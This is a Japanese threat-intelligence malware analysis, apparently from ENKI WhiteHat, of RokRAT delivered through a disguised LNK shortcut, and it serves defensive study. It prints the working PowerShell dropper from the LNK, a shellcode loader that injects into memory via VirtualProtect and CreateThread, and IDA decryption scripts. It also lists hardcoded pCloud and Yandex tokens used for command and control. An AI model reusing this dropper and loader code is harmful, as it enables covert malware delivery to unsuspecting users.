今日表示しない
トップへ戻る
トップへ戻る


脅威インテリジェンス
脅威インテリジェンス
脅威インテリジェンス
LNKファイルを活用したRokRATマルウェアの解析
LNKファイルを活用したRokRATマルウェアの解析
LNKファイルを活用したRokRATマルウェアの解析

ENKI WhiteHat
ENKI WhiteHat
コンテンツ
コンテンツ
コンテンツ
1. 概要
MicrosoftがOfficeアプリでのマクロをブロックし、VBScriptを段階的に廃止し始めて以降、初期侵入の手口としてLNKファイルを活用したマルウェア攻撃が多数確認されている。
その中で、LNKファイルを活用して実行されるRokRATに関するマルウェア情報がTwitter上で確認されており、本稿ではこれに関する分析内容を扱いたい。

caption - ツイート情報
2. マルウェア解析
2.1. - 概要図

caption - 概要図
2.2. LNKファイルの分析
Gate access roster 2024.xlsx.lnk
攻撃者は通常、コマンドが挿入されたLNKファイルのみを圧縮するか、正常なファイルとLNKファイルを一緒に圧縮して、攻撃対象にメールで送信する。本稿では、圧縮ファイルを入手できなかったため、悪質なLNKファイルからの分析内容を記述した。
LNKファイルは、実行対象プログラムを指定できる。攻撃者はこれを活用してコマンドを挿入し、実行するように誘導する。LNKファイルのプロパティを確認すると、コマンドが挿入されていることがわかる。

caption - LNKファイルのプロパティ

caption - LNKファイルのプロパティ
LECmd分析ツールを使用して、LNKファイルに挿入された全体のコマンドを確認できる。

caption - LECmdの実行結果
tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') { $dirPath = '%temp%' } $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName; $lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32); $pdfPath = $lnkPath.replace('.lnk','.xlsx'); sc $pdfPath $pdfFile -Encoding Byte; & $pdfPath; $lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin); $exeFile = New-Object byte[] 0x000D9402; $lnkFile.Read($exeFile, 0, 0x000D9402); $exePath = $env:public + '\' + 'viewer.dat'; sc $exePath $exeFile -Encoding Byte; $lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin); $stringByte = New-Object byte[] 0x000005AA; $lnkFile.Read($stringByte, 0, 0x000005AA); $batStrPath = $env:public + '\' + 'search.dat'; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $string | Out-File -FilePath $batStrPath -Encoding ascii; $lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin); $batByte = New-Object byte[] 0x00000139; $lnkFile.Read($batByte, 0, 0x00000139); $executePath = $env:public + '\' + 'find.bat'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte); $bastString | Out-File -FilePath $executePath -Encoding ascii; & $executePath; $lnkFile.Close(); remove-item -path $lnkPath -force; " && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32);
tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') { $dirPath = '%temp%' } $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName; $lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32); $pdfPath = $lnkPath.replace('.lnk','.xlsx'); sc $pdfPath $pdfFile -Encoding Byte; & $pdfPath; $lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin); $exeFile = New-Object byte[] 0x000D9402; $lnkFile.Read($exeFile, 0, 0x000D9402); $exePath = $env:public + '\' + 'viewer.dat'; sc $exePath $exeFile -Encoding Byte; $lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin); $stringByte = New-Object byte[] 0x000005AA; $lnkFile.Read($stringByte, 0, 0x000005AA); $batStrPath = $env:public + '\' + 'search.dat'; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $string | Out-File -FilePath $batStrPath -Encoding ascii; $lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin); $batByte = New-Object byte[] 0x00000139; $lnkFile.Read($batByte, 0, 0x00000139); $executePath = $env:public + '\' + 'find.bat'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte); $bastString | Out-File -FilePath $executePath -Encoding ascii; & $executePath; $lnkFile.Close(); remove-item -path $lnkPath -force; " && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32);
tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') { $dirPath = '%temp%' } $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName; $lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32); $pdfPath = $lnkPath.replace('.lnk','.xlsx'); sc $pdfPath $pdfFile -Encoding Byte; & $pdfPath; $lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin); $exeFile = New-Object byte[] 0x000D9402; $lnkFile.Read($exeFile, 0, 0x000D9402); $exePath = $env:public + '\' + 'viewer.dat'; sc $exePath $exeFile -Encoding Byte; $lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin); $stringByte = New-Object byte[] 0x000005AA; $lnkFile.Read($stringByte, 0, 0x000005AA); $batStrPath = $env:public + '\' + 'search.dat'; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $string | Out-File -FilePath $batStrPath -Encoding ascii; $lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin); $batByte = New-Object byte[] 0x00000139; $lnkFile.Read($batByte, 0, 0x00000139); $executePath = $env:public + '\' + 'find.bat'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte); $bastString | Out-File -FilePath $executePath -Encoding ascii; & $executePath; $lnkFile.Close(); remove-item -path $lnkPath -force; " && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read); $lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin); $pdfFile = New-Object byte[] 0x00002E32; $lnkFile.Read($pdfFile, 0, 0x00002E32);
ショートカットファイルが実行される際に行われる動作順序は以下の通りである。
C:\Windows\SysWow64\WindowsPowerShell\v1.0\パスに存在する *rshell.exe ファイルを実行する。このとき実行されるファイルを通じてPowershellスクリプトが実行される。現在の作業ディレクトリがSystem32またはProgram Filesパスと一致する場合、
$dirPath変数を一時ディレクトリ(%Temp%)に変更する。一致しない場合、$dirPath変数は現在の作業ディレクトリのまま維持される。$dirPath変数のディレクトリから再帰的にファイルサイズが41,951,597であるLNKファイルを探索する。上記の過程で確認されたLNKファイルに内蔵された複数のファイルデータを抽出した後、ファイルとして保存する。このとき生成されるファイルは以下の表の通りである。
| ファイル名およびパス | タイプ | オフセット | サイズ | | --------------------------------------------------- | -------------------------- | --------- | --------- | | [リンクファイルパス]\Gate access roster 2024.xlsx | 正常ファイル | 0x010a4 | 0x02e32 | | %public%\viewer.dat | Shellcode | 0x03ed6 | 0xd9402 | | %public%\search.dat | PowerShell Script (Loader) | 0xdd2d8 | 0x005aa | | %public%\find.bat | Batch File (Loader) | 0xdd882 | 0x00139
| ファイル名およびパス | タイプ | オフセット | サイズ | | --------------------------------------------------- | -------------------------- | --------- | --------- | | [リンクファイルパス]\Gate access roster 2024.xlsx | 正常ファイル | 0x010a4 | 0x02e32 | | %public%\viewer.dat | Shellcode | 0x03ed6 | 0xd9402 | | %public%\search.dat | PowerShell Script (Loader) | 0xdd2d8 | 0x005aa | | %public%\find.bat | Batch File (Loader) | 0xdd882 | 0x00139
| ファイル名およびパス | タイプ | オフセット | サイズ | | --------------------------------------------------- | -------------------------- | --------- | --------- | | [リンクファイルパス]\Gate access roster 2024.xlsx | 正常ファイル | 0x010a4 | 0x02e32 | | %public%\viewer.dat | Shellcode | 0x03ed6 | 0xd9402 | | %public%\search.dat | PowerShell Script (Loader) | 0xdd2d8 | 0x005aa | | %public%\find.bat | Batch File (Loader) | 0xdd882 | 0x00139
Gate access roster 2024.xlsxファイルとfind.batファイルが実行される。最後に、LNKファイルは自己削除を実行する。

caption - Gate access roster 2024.xlsxの実行結果
2.3. Powershellスクリプトの分析
find.batファイルとsearch.datファイルは、LNKファイルによって生成および実行されるファイルである。
find.bat
find.batファイルはsearch.datファイルのデータを読み込んだ後、Powershell ScriptBlockを作成して実行する。
start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden " $stringPath=$env:public+'\\'+'search.dat'; $stringByte = Get-Content -path $stringPath -encoding byte; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $scriptBlock = [scriptblock]::Create($string); &$scriptBlock; "
start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden " $stringPath=$env:public+'\\'+'search.dat'; $stringByte = Get-Content -path $stringPath -encoding byte; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $scriptBlock = [scriptblock]::Create($string); &$scriptBlock; "
start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden " $stringPath=$env:public+'\\'+'search.dat'; $stringByte = Get-Content -path $stringPath -encoding byte; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $scriptBlock = [scriptblock]::Create($string); &$scriptBlock; "
search.dat
search.datファイルはviewer.datファイルを読み込んでメモリにロードし、スレッドを生成してメモリにロードされたコードを実行する。viewer.datファイルはShellCodeである。
$exePath = $env:public + '\' + 'viewer.dat'; $exeFile = Get-Content -path $exePath -encoding byte; [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072); $k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34); $a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);'; $b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru; $d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);'; $a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru; $b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);'; $cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru; $dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);'; $fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru; $byteCount = $exeFile.Length; $buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100); $old = 0; $a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old); for ($i = 0; $i -lt $byteCount; $i++) { [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]); } $handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0); $fried3sd23::WaitForSingleObject($handle, 500 * 1000);
$exePath = $env:public + '\' + 'viewer.dat'; $exeFile = Get-Content -path $exePath -encoding byte; [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072); $k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34); $a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);'; $b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru; $d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);'; $a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru; $b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);'; $cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru; $dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);'; $fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru; $byteCount = $exeFile.Length; $buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100); $old = 0; $a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old); for ($i = 0; $i -lt $byteCount; $i++) { [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]); } $handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0); $fried3sd23::WaitForSingleObject($handle, 500 * 1000);
$exePath = $env:public + '\' + 'viewer.dat'; $exeFile = Get-Content -path $exePath -encoding byte; [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072); $k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34); $a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);'; $b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru; $d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);'; $a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru; $b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);'; $cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru; $dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);'; $fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru; $byteCount = $exeFile.Length; $buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100); $old = 0; $a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old); for ($i = 0; $i -lt $byteCount; $i++) { [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]); } $handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0); $fried3sd23::WaitForSingleObject($handle, 500 * 1000);
2.4. ShellCodeの分析
ShellCodeは、暗号化されたRokRATデータを復号した後にメモリ上で実行する。API Resolvingを通じて提供されたAPIハッシュ値に基づき、一致するAPIを見つけて該当APIのアドレスを返し、これを呼び出す。

caption - API Resolvingの疑似コード
暗号化されたRokRATデータはShellCodeに内蔵されており、xor演算によって復号された後、メモリ上で実行される。

caption - RokRAT復号ルーチンの疑似コード
RokRATデータの復号スクリプトは以下の通りである。
from idaapi import * ea = 2045 key = get_byte(ea) size = get_dword(ea + 1) result = bytes(key ^ data for data in get_bytes(ea + 5, size)) with open("RokRAT", "wb") as f: f.write(result)ea = 2045 key = get_byte(ea) size = get_dword(ea + 1)
from idaapi import * ea = 2045 key = get_byte(ea) size = get_dword(ea + 1) result = bytes(key ^ data for data in get_bytes(ea + 5, size)) with open("RokRAT", "wb") as f: f.write(result)ea = 2045 key = get_byte(ea) size = get_dword(ea + 1)
from idaapi import * ea = 2045 key = get_byte(ea) size = get_dword(ea + 1) result = bytes(key ^ data for data in get_bytes(ea + 5, size)) with open("RokRAT", "wb") as f: f.write(result)ea = 2045 key = get_byte(ea) size = get_dword(ea + 1)
2.5. RokRATの分析
RokRATは、クラウドサービスであるpCloud、DropBox、YandexをC&Cサーバーのように使用する。収集した感染システム情報はクラウドサービスにアップロードされ、クラウドサービスを通じてコマンドコードが含まれたデータを受信する。
メイン関数で主要な行為を実行するスレッドを生成する前に、まず感染システム情報を収集する。

caption - RokRAT感染システム情報収集ルーチン
収集する主な情報は以下の通りである。
Windows OS Build Version
Windows OS Bitness
Computer Name
User Name
Current Process Path
System Product
vmtools Version
System Bios Version
情報収集と同時に、ランダム関数を利用してクラウドサービスと通信する際に使用される値を生成する。
| 変数名 | 目的 | 生成方式 | | --------------------------- | ------------------------------------------------------- | --------------------------------------------- | | additional_data | アップロードファイルに追加されるデータ | srand(time()) + rand() | | Cloud_FileData_FileName | クラウドサービスからダウンロードまたは削除するファイル名 | srand(time()) + rand() + GetTickCount() | | Cloud_Recv_Data_FileName | クラウドサービスに存在する、コマンドコードを含むデータファイル名 | srand(time()) + rand() + GetTickCount() | | Recv_FileData_Decrypt_Key | 追加のマルウェアデータ復号キー | CryptoPP::AutoSeededRandomPool | | Recv_Data_Decrypt_Key | クラウドサービスから受信したデータの復号キー | CryptoPP::
| 変数名 | 目的 | 生成方式 | | --------------------------- | ------------------------------------------------------- | --------------------------------------------- | | additional_data | アップロードファイルに追加されるデータ | srand(time()) + rand() | | Cloud_FileData_FileName | クラウドサービスからダウンロードまたは削除するファイル名 | srand(time()) + rand() + GetTickCount() | | Cloud_Recv_Data_FileName | クラウドサービスに存在する、コマンドコードを含むデータファイル名 | srand(time()) + rand() + GetTickCount() | | Recv_FileData_Decrypt_Key | 追加のマルウェアデータ復号キー | CryptoPP::AutoSeededRandomPool | | Recv_Data_Decrypt_Key | クラウドサービスから受信したデータの復号キー | CryptoPP::
| 変数名 | 目的 | 生成方式 | | --------------------------- | ------------------------------------------------------- | --------------------------------------------- | | additional_data | アップロードファイルに追加されるデータ | srand(time()) + rand() | | Cloud_FileData_FileName | クラウドサービスからダウンロードまたは削除するファイル名 | srand(time()) + rand() + GetTickCount() | | Cloud_Recv_Data_FileName | クラウドサービスに存在する、コマンドコードを含むデータファイル名 | srand(time()) + rand() + GetTickCount() | | Recv_FileData_Decrypt_Key | 追加のマルウェアデータ復号キー | CryptoPP::AutoSeededRandomPool | | Recv_Data_Decrypt_Key | クラウドサービスから受信したデータの復号キー | CryptoPP::

caption - 通信に使用されるデータの生成ルーチン
マルウェアには二つの文字列復号関数が存在する。どちらの関数も、暗号化されたデータの最初のバイトをキーとして使用する。相違点は、一つの関数がキーと演算された値からさらに関数で2048を引く演算を実行することである。


暗号化されたすべての文字列の復号結果を出力するスクリプトは以下の通りである。
from idaapi import * from idautils import * from idc import * from ida_segment import get_segm_by_name import re def get_ins(ea): return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)] def find_sp(ea): t_ea = ea while True: ins = get_ins(ea) if ins[0] == "lea" and ins[1] == "ecx": if "ebp" in ins[2]: sp_flag = 1 elif "esp" in ins[2]: sp_flag = 2 sp = ins[2] break ea = prev_head(ea) ea = t_ea while True: ins = get_ins(ea) if sp in ins[1]: return ea, sp, sp_flag ea = prev_head(ea) def parsing_word_data(data): data = data.replace("h", "") return [data[3:], data[:3]] def get_values(ea, sp, sp_flag): result = [] if sp_flag == 1: pattern = r"\[ebp-(\w+)\]" while True: ins = get_ins(ea) if ins[0] == "mov" and "[ebp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) elif sp_flag == 2: pattern = r"\b(?:esp\+(\w+))h\b" while True: ins = get_ins(ea) if ins[0] == "mov" and "[esp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) def parsing_encrypt_data(ea, d_flag): ea, sp, sp_flag = find_sp(ea) ret = get_values(ea, sp, sp_flag) result = "" if d_flag == 1: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff) elif d_flag == 2: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff) print (hex(ea), result) segm = get_segm_by_name(".text") ea = segm.start_ea end_ea = segm.end_ea while True: if ea >= end_ea: break else: if "sub_40E716" in GetDisasm(ea): parsing_encrypt_data(ea, 1) elif "sub_40E6D3" in GetDisasm(ea): parsing_encrypt_data(ea, 2) ea = next_head(ea)
from idaapi import * from idautils import * from idc import * from ida_segment import get_segm_by_name import re def get_ins(ea): return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)] def find_sp(ea): t_ea = ea while True: ins = get_ins(ea) if ins[0] == "lea" and ins[1] == "ecx": if "ebp" in ins[2]: sp_flag = 1 elif "esp" in ins[2]: sp_flag = 2 sp = ins[2] break ea = prev_head(ea) ea = t_ea while True: ins = get_ins(ea) if sp in ins[1]: return ea, sp, sp_flag ea = prev_head(ea) def parsing_word_data(data): data = data.replace("h", "") return [data[3:], data[:3]] def get_values(ea, sp, sp_flag): result = [] if sp_flag == 1: pattern = r"\[ebp-(\w+)\]" while True: ins = get_ins(ea) if ins[0] == "mov" and "[ebp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) elif sp_flag == 2: pattern = r"\b(?:esp\+(\w+))h\b" while True: ins = get_ins(ea) if ins[0] == "mov" and "[esp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) def parsing_encrypt_data(ea, d_flag): ea, sp, sp_flag = find_sp(ea) ret = get_values(ea, sp, sp_flag) result = "" if d_flag == 1: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff) elif d_flag == 2: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff) print (hex(ea), result) segm = get_segm_by_name(".text") ea = segm.start_ea end_ea = segm.end_ea while True: if ea >= end_ea: break else: if "sub_40E716" in GetDisasm(ea): parsing_encrypt_data(ea, 1) elif "sub_40E6D3" in GetDisasm(ea): parsing_encrypt_data(ea, 2) ea = next_head(ea)
from idaapi import * from idautils import * from idc import * from ida_segment import get_segm_by_name import re def get_ins(ea): return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)] def find_sp(ea): t_ea = ea while True: ins = get_ins(ea) if ins[0] == "lea" and ins[1] == "ecx": if "ebp" in ins[2]: sp_flag = 1 elif "esp" in ins[2]: sp_flag = 2 sp = ins[2] break ea = prev_head(ea) ea = t_ea while True: ins = get_ins(ea) if sp in ins[1]: return ea, sp, sp_flag ea = prev_head(ea) def parsing_word_data(data): data = data.replace("h", "") return [data[3:], data[:3]] def get_values(ea, sp, sp_flag): result = [] if sp_flag == 1: pattern = r"\[ebp-(\w+)\]" while True: ins = get_ins(ea) if ins[0] == "mov" and "[ebp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) elif sp_flag == 2: pattern = r"\b(?:esp\+(\w+))h\b" while True: ins = get_ins(ea) if ins[0] == "mov" and "[esp" in ins[1]: op_offset(ea, 0, 1) match = re.search(pattern, print_operand(ea, 0)) if len(match.group(1)) == 1 or len(ins[2]) == 4: result.append(ins[2].replace("h", "")) op_offset(ea, 0, 0) return result elif ins[2] == "ax": op_offset(ea, 0, 0) return result else: result += parsing_word_data(ins[2]) op_offset(ea, 0, 0) ea = next_head(ea) def parsing_encrypt_data(ea, d_flag): ea, sp, sp_flag = find_sp(ea) ret = get_values(ea, sp, sp_flag) result = "" if d_flag == 1: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff) elif d_flag == 2: for i in range(len(ret) - 1): result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff) print (hex(ea), result) segm = get_segm_by_name(".text") ea = segm.start_ea end_ea = segm.end_ea while True: if ea >= end_ea: break else: if "sub_40E716" in GetDisasm(ea): parsing_encrypt_data(ea, 1) elif "sub_40E6D3" in GetDisasm(ea): parsing_encrypt_data(ea, 2) ea = next_head(ea)

caption - 復号スクリプトの実行結果
感染システム情報の収集が終了すると、クラウドサービスと通信しながら悪意のある行為を実行するスレッドを生成する。

caption - メイン関数の疑似コード
通信に使用されるクラウドサービスはpCloudとYandexである。pCloudをメインに使用し、YandexはpCloudが使用できない時に使用される。DropBoxに関連するルーティンが存在するが、使用されることはない。
| クラウドサービス | 識別子 | トークン | | ------------- | ---------- | --------------------------------------------------------------- | | Local System | 1 | N/A | | DropBox | 3 | N/A | | pCloud | 4 | Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX | | Yandex | 5 | y0_AgAAAABY8OQvAAtZEQAAAAD8QmGOAAD5hI5Y1ctIoLSK7mJq9l4_CF5LRg
| クラウドサービス | 識別子 | トークン | | ------------- | ---------- | --------------------------------------------------------------- | | Local System | 1 | N/A | | DropBox | 3 | N/A | | pCloud | 4 | Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX | | Yandex | 5 | y0_AgAAAABY8OQvAAtZEQAAAAD8QmGOAAD5hI5Y1ctIoLSK7mJq9l4_CF5LRg
| クラウドサービス | 識別子 | トークン | | ------------- | ---------- | --------------------------------------------------------------- | | Local System | 1 | N/A | | DropBox | 3 | N/A | | pCloud | 4 | Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX | | Yandex | 5 | y0_AgAAAABY8OQvAAtZEQAAAAD8QmGOAAD5hI5Y1ctIoLSK7mJq9l4_CF5LRg
クラウドサービスの識別子とトークン情報はハードコードされている。

caption - pCloudトークン情報

caption - Yandexトークン情報
収集した感染システム情報を含めてクラウドサービスに送信されるデータを設定する過程は以下の通りである。
マルウェアにハードコードされた4バイトのデータを追加
収集した感染システム情報を追加
区分データを追加 (0x28)
スクリーンショット情報を追加
区分データを追加 (0x2A)
現在動作中のプロセス情報を収集し、収集情報の長さを追加
現在動作中のプロセス情報を追加

caption - クラウドサービスに送信されるデータの生成ルーチン
最終的なデータ構造は以下の通りである。

クラウドサービスに送信されるデータは暗号化されて送信される。
1つ目は、ランダムに生成された4バイトのキーを利用してxorで暗号化する。この時、暗号化されるデータの最初の4バイトの値は、攻撃者がマルウェアを生成した時点で既知の値であるため、攻撃者は逆演算によって4バイトのキーを割り出すことができる。

caption - 暗号化およびアップロードのルーチン
2つ目は、aes-cbc-128で暗号化する。暗号化に使用されるキーとivは、以下のルーチンによって初期化される。

caption - aesキー、iv初期化ルーチン
aesキーはrsa公開キーを使用して暗号化され、感染システム情報と共にクラウドサービスへとアップロードされる。rsa公開キーはber形式でエンコードされて含まれている。

caption - rsa公開キーが含まれるber形式のデータ
クラウドサービスと通信して受信されたデータは、aes-cbc-128で復号される。コマンドコードに応じて実行する行為は以下の通りである。
